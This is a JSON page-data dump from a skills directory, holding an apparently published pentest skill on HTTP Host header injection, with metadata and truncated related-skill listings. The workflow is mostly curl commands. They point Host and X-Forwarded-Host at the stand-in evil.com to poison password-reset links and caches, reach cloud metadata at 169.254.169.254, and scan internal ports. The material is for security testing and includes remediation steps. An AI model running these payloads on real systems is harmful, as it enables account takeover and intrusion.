[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AGAZYHB6DB26WGY5546P9C":3,"skill-same:01M6AGAZYHB6DB26WGY5546P9C":112},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":8,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":18,"categories":19,"keywords":30,"publishedAt":51,"linkOnly":52,"markdownContent":53,"markdownBody":54,"frontMatter":55,"refName":71,"commitSha":72,"skillDirectory":73,"forksCount":74,"repositoryHtmlUrl":75,"repositoryHomepageUrl":76,"ownerHtmlUrl":77,"ownerBlogUrl":78,"ownerDescription":79,"updatedAt":80,"install":81,"resources":94},"01M6AGAZYHB6DB26WGY5546P9C","testing-for-host-header-injection","HTTP Host 头注入测试","Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks.","测试 Web 应用是否存在 HTTP Host 头注入漏洞，以识别密码重置投毒、Web 缓存投毒、SSRF 以及虚拟主机路由操纵等风险。","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36146,"Apache-2.0",null,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-host-header-injection\u002FSKILL.md",[20,25],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BR4MYFKGCC4WCWVJ50KJ2C","安全工程师","PROFESSION","适用职业",{"categoryNo":26,"categoryName":27,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C7NMKVVN7CCC4BCVAW8B18","渗透测试与红队行动","SCENARIO","使用场景",[31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50],"testing for host header injection","injection","testing","t1505","header-manipulation","virtual-host","password-reset-poisoning","host-header-injection","header-injection","cache-poisoning","application-security","applications","t1059","web-application-security","ssrf","cache","pr","http","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: testing-for-host-header-injection\ndescription: Test web applications for HTTP Host header injection vulnerabilities\n  to identify password reset poisoning, web cache poisoning, SSRF, and virtual host\n  routing manipulation risks.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- host-header-injection\n- password-reset-poisoning\n- cache-poisoning\n- virtual-host\n- web-security\n- header-manipulation\n- ssrf\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Testing for Host Header Injection\n\n## When to Use\n- When testing password reset functionality for token theft via host manipulation\n- During assessment of web caching behavior influenced by Host header values\n- When testing virtual host routing and server-side request processing\n- During penetration testing of applications behind reverse proxies or load balancers\n- When evaluating SSRF potential through Host header manipulation\n\n## Prerequisites\n- Burp Suite for intercepting and modifying Host headers\n- Understanding of HTTP Host header role in virtual hosting and routing\n- Knowledge of alternative host headers (X-Forwarded-Host, X-Host, X-Original-URL)\n- Access to an attacker-controlled domain for receiving poisoned requests\n- Burp Collaborator or interact.sh for out-of-band detection\n- Multiple test accounts for password reset testing\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Test Basic Host Header Injection\n```bash\n# Supply arbitrary Host header\ncurl -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n# Check if application reflects evil.com in response\n\n# Double Host header\ncurl -H \"Host: target.com\" -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Host header with port injection\ncurl -H \"Host: target.com:evil.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: target.com:@evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Absolute URL with different Host\ncurl --request-target \"http:\u002F\u002Ftarget.com\u002F\" -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Check for different virtual host access\ncurl -H \"Host: admin.target.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: internal.target.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: localhost\" http:\u002F\u002Ftarget.com\u002F -v\n```\n\n### Step 2 — Test Password Reset Poisoning\n```bash\n# Trigger password reset with modified Host header\n# The reset link may use the Host header value in the URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"Host: evil.com\" \\\n  -d \"email=victim@target.com\"\n# If reset email contains: http:\u002F\u002Fevil.com\u002Freset?token=xxx\n# Attacker receives the token when victim clicks the link\n\n# Try X-Forwarded-Host for password reset poisoning\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"X-Forwarded-Host: evil.com\" \\\n  -d \"email=victim@target.com\"\n\n# Port-based injection in reset URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"Host: target.com:80@evil.com\" \\\n  -d \"email=victim@target.com\"\n\n# Test with various forwarding headers\nfor header in \"X-Forwarded-Host\" \"X-Host\" \"X-Original-URL\" \"X-Rewrite-URL\" \"X-Forwarded-Server\" \"Forwarded\"; do\n  curl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n    -H \"$header: evil.com\" \\\n    -d \"email=victim@target.com\"\n  echo \"Tested: $header\"\ndone\n```\n\n### Step 3 — Test Web Cache Poisoning via Host Header\n```bash\n# If caching layer uses URL (without Host) as cache key:\n# Poison cache with modified Host header\ncurl -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n# If response is cached and contains evil.com links\n# All subsequent users receive poisoned content\n\n# Test with X-Forwarded-Host for cache poisoning\ncurl -H \"X-Forwarded-Host: evil.com\" http:\u002F\u002Ftarget.com\u002Flogin -v\n# Check X-Cache header to see if response was cached\n\n# Verify cache poisoning\ncurl http:\u002F\u002Ftarget.com\u002Flogin -v\n# If response still contains evil.com, cache is poisoned\n\n# Poison JavaScript URLs in cached pages\ncurl -H \"X-Forwarded-Host: evil.com\" http:\u002F\u002Ftarget.com\u002F\n# If page loads: \u003Cscript src=\"\u002F\u002Fevil.com\u002Fstatic\u002Fapp.js\">\n# Attacker serves malicious JavaScript to all users\n```\n\n### Step 4 — Test SSRF via Host Header\n```bash\n# Backend may use Host header to make internal requests\ncurl -H \"Host: internal-api.target.local\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fproxy\n\n# Access cloud metadata via Host header\ncurl -H \"Host: 169.254.169.254\" http:\u002F\u002Ftarget.com\u002F\n\n# Internal port scanning\nfor port in 80 443 8080 8443 3000 5000 9200; do\n  curl -H \"Host: 127.0.0.1:$port\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{http_code}\" -s\n  echo \" - Port $port\"\ndone\n\n# SSRF via absolute URL\ncurl --request-target \"http:\u002F\u002Finternal-server\u002F\" -H \"Host: internal-server\" http:\u002F\u002Ftarget.com\u002F\n```\n\n### Step 5 — Test Virtual Host Enumeration\n```bash\n# Enumerate virtual hosts\nfor vhost in admin staging dev test api internal backend; do\n  status=$(curl -H \"Host: $vhost.target.com\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{http_code}\" -s)\n  size=$(curl -H \"Host: $vhost.target.com\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{size_download}\" -s)\n  echo \"$vhost.target.com - Status: $status, Size: $size\"\ndone\n\n# Check default virtual host behavior\ncurl -H \"Host: nonexistent.target.com\" http:\u002F\u002Ftarget.com\u002F -v\n# Compare with legitimate host response\n\n# Access internal admin panels via virtual host\ncurl -H \"Host: admin\" http:\u002F\u002Ftarget.com\u002F\ncurl -H \"Host: management.internal\" http:\u002F\u002Ftarget.com\u002F\n```\n\n### Step 6 — Test Connection-State Attacks\n```bash\n# HTTP\u002F1.1 connection reuse attack\n# Send legitimate first request, then inject Host header on subsequent request\n# Use Burp Repeater with \"Update Content-Length\" and manual Connection: keep-alive\n\n# In Burp Repeater, send grouped request:\n# Request 1 (legitimate):\n# GET \u002F HTTP\u002F1.1\n# Host: target.com\n# Connection: keep-alive\n#\n# Request 2 (injected):\n# GET \u002Fadmin HTTP\u002F1.1\n# Host: internal.target.com\n\n# Test with HTTP Request Smuggling combined\n# If front-end validates Host but back-end doesn't:\n# Smuggle request with modified Host header\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Host Header | HTTP header specifying the target virtual host for the request |\n| Password Reset Poisoning | Injecting Host to make reset emails contain attacker-controlled URLs |\n| Cache Poisoning via Host | Poisoning CDN cache with responses containing attacker-controlled host |\n| Virtual Host Routing | Web server using Host header to route requests to different applications |\n| X-Forwarded-Host | Alternative header used by proxies that may override Host header |\n| Connection State Attack | Exploiting persistent connections to send requests with different Host values |\n| Server-Side Host Resolution | Backend code using Host header for URL generation and redirects |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for Host header manipulation and analysis |\n| Burp Collaborator | Out-of-band detection for Host header SSRF |\n| ffuf | Virtual host brute-forcing with custom Host headers |\n| gobuster vhost | Virtual host enumeration mode |\n| Nuclei | Template-based scanning for Host header injection |\n| param-miner | Burp extension for discovering unkeyed Host-related headers |\n\n## Common Scenarios\n\n1. **Password Reset Token Theft** — Poison Host header during password reset to make victim click a link pointing to attacker server, leaking reset token\n2. **Web Cache Poisoning** — Inject Host header to cache responses with attacker-controlled JavaScript URLs, achieving stored XSS for all users\n3. **Internal Panel Access** — Enumerate and access internal admin panels through virtual host manipulation\n4. **SSRF to Cloud Metadata** — Use Host header to redirect server-side requests to cloud metadata endpoints\n5. **Routing Bypass** — Bypass access controls by manipulating Host to route requests to unprotected backend instances\n\n## Output Format\n\n```\n## Host Header Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Reverse Proxy**: Nginx\n- **Backend**: Apache\u002FPHP\n\n### Findings\n| # | Technique | Header | Impact | Severity |\n|---|-----------|--------|--------|----------|\n| 1 | Password Reset Poisoning | Host: evil.com | Token theft | Critical |\n| 2 | Cache Poisoning | X-Forwarded-Host: evil.com | Stored XSS | High |\n| 3 | Virtual Host Access | Host: admin.target.com | Admin panel exposure | High |\n| 4 | SSRF | Host: 169.254.169.254 | Metadata access | Critical |\n\n### Remediation\n- Validate Host header against a whitelist of expected values\n- Do not use Host header for generating URLs in password reset emails\n- Configure web server to reject requests with unrecognized Host values\n- Set absolute URLs in application configuration instead of deriving from Host\n```\n","# Testing for Host Header Injection\n\n## When to Use\n- When testing password reset functionality for token theft via host manipulation\n- During assessment of web caching behavior influenced by Host header values\n- When testing virtual host routing and server-side request processing\n- During penetration testing of applications behind reverse proxies or load balancers\n- When evaluating SSRF potential through Host header manipulation\n\n## Prerequisites\n- Burp Suite for intercepting and modifying Host headers\n- Understanding of HTTP Host header role in virtual hosting and routing\n- Knowledge of alternative host headers (X-Forwarded-Host, X-Host, X-Original-URL)\n- Access to an attacker-controlled domain for receiving poisoned requests\n- Burp Collaborator or interact.sh for out-of-band detection\n- Multiple test accounts for password reset testing\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Test Basic Host Header Injection\n```bash\n# Supply arbitrary Host header\ncurl -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n# Check if application reflects evil.com in response\n\n# Double Host header\ncurl -H \"Host: target.com\" -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Host header with port injection\ncurl -H \"Host: target.com:evil.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: target.com:@evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Absolute URL with different Host\ncurl --request-target \"http:\u002F\u002Ftarget.com\u002F\" -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Check for different virtual host access\ncurl -H \"Host: admin.target.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: internal.target.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: localhost\" http:\u002F\u002Ftarget.com\u002F -v\n```\n\n### Step 2 — Test Password Reset Poisoning\n```bash\n# Trigger password reset with modified Host header\n# The reset link may use the Host header value in the URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"Host: evil.com\" \\\n  -d \"email=victim@target.com\"\n# If reset email contains: http:\u002F\u002Fevil.com\u002Freset?token=xxx\n# Attacker receives the token when victim clicks the link\n\n# Try X-Forwarded-Host for password reset poisoning\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"X-Forwarded-Host: evil.com\" \\\n  -d \"email=victim@target.com\"\n\n# Port-based injection in reset URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"Host: target.com:80@evil.com\" \\\n  -d \"email=victim@target.com\"\n\n# Test with various forwarding headers\nfor header in \"X-Forwarded-Host\" \"X-Host\" \"X-Original-URL\" \"X-Rewrite-URL\" \"X-Forwarded-Server\" \"Forwarded\"; do\n  curl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n    -H \"$header: evil.com\" \\\n    -d \"email=victim@target.com\"\n  echo \"Tested: $header\"\ndone\n```\n\n### Step 3 — Test Web Cache Poisoning via Host Header\n```bash\n# If caching layer uses URL (without Host) as cache key:\n# Poison cache with modified Host header\ncurl -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n# If response is cached and contains evil.com links\n# All subsequent users receive poisoned content\n\n# Test with X-Forwarded-Host for cache poisoning\ncurl -H \"X-Forwarded-Host: evil.com\" http:\u002F\u002Ftarget.com\u002Flogin -v\n# Check X-Cache header to see if response was cached\n\n# Verify cache poisoning\ncurl http:\u002F\u002Ftarget.com\u002Flogin -v\n# If response still contains evil.com, cache is poisoned\n\n# Poison JavaScript URLs in cached pages\ncurl -H \"X-Forwarded-Host: evil.com\" http:\u002F\u002Ftarget.com\u002F\n# If page loads: \u003Cscript src=\"\u002F\u002Fevil.com\u002Fstatic\u002Fapp.js\">\n# Attacker serves malicious JavaScript to all users\n```\n\n### Step 4 — Test SSRF via Host Header\n```bash\n# Backend may use Host header to make internal requests\ncurl -H \"Host: internal-api.target.local\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fproxy\n\n# Access cloud metadata via Host header\ncurl -H \"Host: 169.254.169.254\" http:\u002F\u002Ftarget.com\u002F\n\n# Internal port scanning\nfor port in 80 443 8080 8443 3000 5000 9200; do\n  curl -H \"Host: 127.0.0.1:$port\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{http_code}\" -s\n  echo \" - Port $port\"\ndone\n\n# SSRF via absolute URL\ncurl --request-target \"http:\u002F\u002Finternal-server\u002F\" -H \"Host: internal-server\" http:\u002F\u002Ftarget.com\u002F\n```\n\n### Step 5 — Test Virtual Host Enumeration\n```bash\n# Enumerate virtual hosts\nfor vhost in admin staging dev test api internal backend; do\n  status=$(curl -H \"Host: $vhost.target.com\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{http_code}\" -s)\n  size=$(curl -H \"Host: $vhost.target.com\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{size_download}\" -s)\n  echo \"$vhost.target.com - Status: $status, Size: $size\"\ndone\n\n# Check default virtual host behavior\ncurl -H \"Host: nonexistent.target.com\" http:\u002F\u002Ftarget.com\u002F -v\n# Compare with legitimate host response\n\n# Access internal admin panels via virtual host\ncurl -H \"Host: admin\" http:\u002F\u002Ftarget.com\u002F\ncurl -H \"Host: management.internal\" http:\u002F\u002Ftarget.com\u002F\n```\n\n### Step 6 — Test Connection-State Attacks\n```bash\n# HTTP\u002F1.1 connection reuse attack\n# Send legitimate first request, then inject Host header on subsequent request\n# Use Burp Repeater with \"Update Content-Length\" and manual Connection: keep-alive\n\n# In Burp Repeater, send grouped request:\n# Request 1 (legitimate):\n# GET \u002F HTTP\u002F1.1\n# Host: target.com\n# Connection: keep-alive\n#\n# Request 2 (injected):\n# GET \u002Fadmin HTTP\u002F1.1\n# Host: internal.target.com\n\n# Test with HTTP Request Smuggling combined\n# If front-end validates Host but back-end doesn't:\n# Smuggle request with modified Host header\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Host Header | HTTP header specifying the target virtual host for the request |\n| Password Reset Poisoning | Injecting Host to make reset emails contain attacker-controlled URLs |\n| Cache Poisoning via Host | Poisoning CDN cache with responses containing attacker-controlled host |\n| Virtual Host Routing | Web server using Host header to route requests to different applications |\n| X-Forwarded-Host | Alternative header used by proxies that may override Host header |\n| Connection State Attack | Exploiting persistent connections to send requests with different Host values |\n| Server-Side Host Resolution | Backend code using Host header for URL generation and redirects |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for Host header manipulation and analysis |\n| Burp Collaborator | Out-of-band detection for Host header SSRF |\n| ffuf | Virtual host brute-forcing with custom Host headers |\n| gobuster vhost | Virtual host enumeration mode |\n| Nuclei | Template-based scanning for Host header injection |\n| param-miner | Burp extension for discovering unkeyed Host-related headers |\n\n## Common Scenarios\n\n1. **Password Reset Token Theft** — Poison Host header during password reset to make victim click a link pointing to attacker server, leaking reset token\n2. **Web Cache Poisoning** — Inject Host header to cache responses with attacker-controlled JavaScript URLs, achieving stored XSS for all users\n3. **Internal Panel Access** — Enumerate and access internal admin panels through virtual host manipulation\n4. **SSRF to Cloud Metadata** — Use Host header to redirect server-side requests to cloud metadata endpoints\n5. **Routing Bypass** — Bypass access controls by manipulating Host to route requests to unprotected backend instances\n\n## Output Format\n\n```\n## Host Header Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Reverse Proxy**: Nginx\n- **Backend**: Apache\u002FPHP\n\n### Findings\n| # | Technique | Header | Impact | Severity |\n|---|-----------|--------|--------|----------|\n| 1 | Password Reset Poisoning | Host: evil.com | Token theft | Critical |\n| 2 | Cache Poisoning | X-Forwarded-Host: evil.com | Stored XSS | High |\n| 3 | Virtual Host Access | Host: admin.target.com | Admin panel exposure | High |\n| 4 | SSRF | Host: 169.254.169.254 | Metadata access | Critical |\n\n### Remediation\n- Validate Host header against a whitelist of expected values\n- Do not use Host header for generating URLs in password reset emails\n- Configure web server to reject requests with unrecognized Host values\n- Set absolute URLs in application configuration instead of deriving from Host\n```\n",{"name":5,"tags":56,"author":58,"domain":49,"license":16,"version":59,"nist_csf":60,"subdomain":44,"description":7,"mitre_attack":65},[38,37,40,36,57,35,45],"web-security","mahipal","1.0",[61,62,63,64],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[66,67,68,69,70],"T1190","T1059.007","T1505.003","T1083","T1055","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Ftesting-for-host-header-injection",4425,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":9,"skillName":5,"commands":82,"prompt":92,"zipAvailable":93},[83,86,89],{"tool":84,"command":85},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-host-header-injection",{"tool":87,"command":88},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-host-header-injection",{"tool":90,"command":91},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-host-header-injection","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-host-header-injection\u002FSKILL.md",true,[95,100,106],{"path":96,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-host-header-injection\u002FLICENSE",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"references\u002Fapi-reference.md","REFERENCE","参考文档",1473,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-host-header-injection\u002Freferences\u002Fapi-reference.md",{"path":107,"resourceType":108,"resourceTypeDesc":109,"sizeBytes":110,"sourceHtmlUrl":111},"scripts\u002Fagent.py","SCRIPT","脚本",7018,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-host-header-injection\u002Fscripts\u002Fagent.py",[113,143,172,203,234,266],{"skillNo":114,"name":115,"nameZh":116,"description":117,"descriptionZh":118,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":119,"categories":120,"keywords":125,"publishedAt":51},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","SLSA 构建来源验证","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","使用 Sigstore 的 cosign（verify、verify-attestation、verify-blob-attestation）和 slsa-verifier（verify-artifact）验证工件签名和 SLSA 来源（provenance），强制校验 keyless OIDC 构建者身份和源仓库是否符合 SLSA Build 级别。适用于 CI\u002FCD 中部署工件前、消费第三方证明时、建立 SLSA Build L3 管道，或在事件响应或准入控制期间确认来源的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[121,122],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":123,"categoryName":124,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C32Q37WAMK06SGMFC02VFP","软件供应链安全",[126,127,128,129,50,49,130,131,47,132,133,134,135,136,137,138,139,140,141,142],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":144,"name":145,"nameZh":146,"description":147,"descriptionZh":148,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":149,"categories":150,"keywords":155,"publishedAt":51},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","TPM 测量启动验证","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","使用 tpm2-tools 验证 TPM 2.0 测量启动（measured boot）的完整性和远程证明：读取 PCR（tpm2_pcrread）、重放启动事件日志、生成并检查签名报价（tpm2_quote\u002Ftpm2_checkquote），以及将机密封印（seal）到 PCR 策略。适用于确认系统已启动可信固件\u002F内核以实现零信任（Zero Trust）设备状态、通过 PCR 漂移检测启动链篡改，或构建黄金值基线用于机群（fleet）证明。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[151,152],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":153,"categoryName":154,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C89JJEXGGRGHS6XVXDA46K","终端安全加固",[156,139,157,158,50,159,49,47,160,161,162,163,164,165,166,167,168,169,170,171],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":173,"name":174,"nameZh":175,"description":176,"descriptionZh":177,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":178,"categories":179,"keywords":186,"publishedAt":51},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","备份完整性验证","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","通过加密哈希验证、自动化恢复测试、损坏检测和可恢复性检查来验证备份完整性，确认备份对于灾难恢复和勒索软件响应是可靠的。适用于在依赖备份进行恢复之前、构建备份后验证管道、审计备份基础设施以满足合规要求，或检查不可变\u002Fair-gapped（气隙）备份是否存在静默损坏或篡改的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[180,183],{"categoryNo":181,"categoryName":182,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BQGD4WETX0HM3SM9QKQ15B","SRE 工程师",{"categoryNo":184,"categoryName":185,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BSSTY86MWS6W5GDQWB1ADQ","备份与灾难恢复",[166,187,188,189,33,49,190,191,160,192,193,194,195,196,197,198,199,200,201,202],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":204,"name":205,"nameZh":206,"description":207,"descriptionZh":208,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":209,"categories":210,"keywords":215,"publishedAt":51},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","KAPE Windows 取证收集","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","运行 KAPE（Kroll Artifact Parser and Extractor），通过 Targets 收集目标取证工件（注册表配置单元、$MFT、事件日志、prefetch、浏览器数据），并使用封装 Eric Zimmerman 的 EZ Tools（PECmd、MFTECmd、RECmd）的 Modules 进行解析。适用于事件遏制\u002F分诊早期阶段——此时完整磁盘镜像不切实际，但需要快速获得可采信、可解析的 Windows 工件集，包括大规模远程收集。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[211,212],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":213,"categoryName":214,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C9JZH3GWXPJ6CQG5P7J48Y","数字取证与电子证据分析",[216,217,218,49,219,220,221,222,223,224,225,226,227,228,229,230,163,231,232,233],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":235,"name":236,"nameZh":237,"description":238,"descriptionZh":239,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":240,"categories":241,"keywords":246,"publishedAt":51},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","SSVC 漏洞优先级分诊","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when 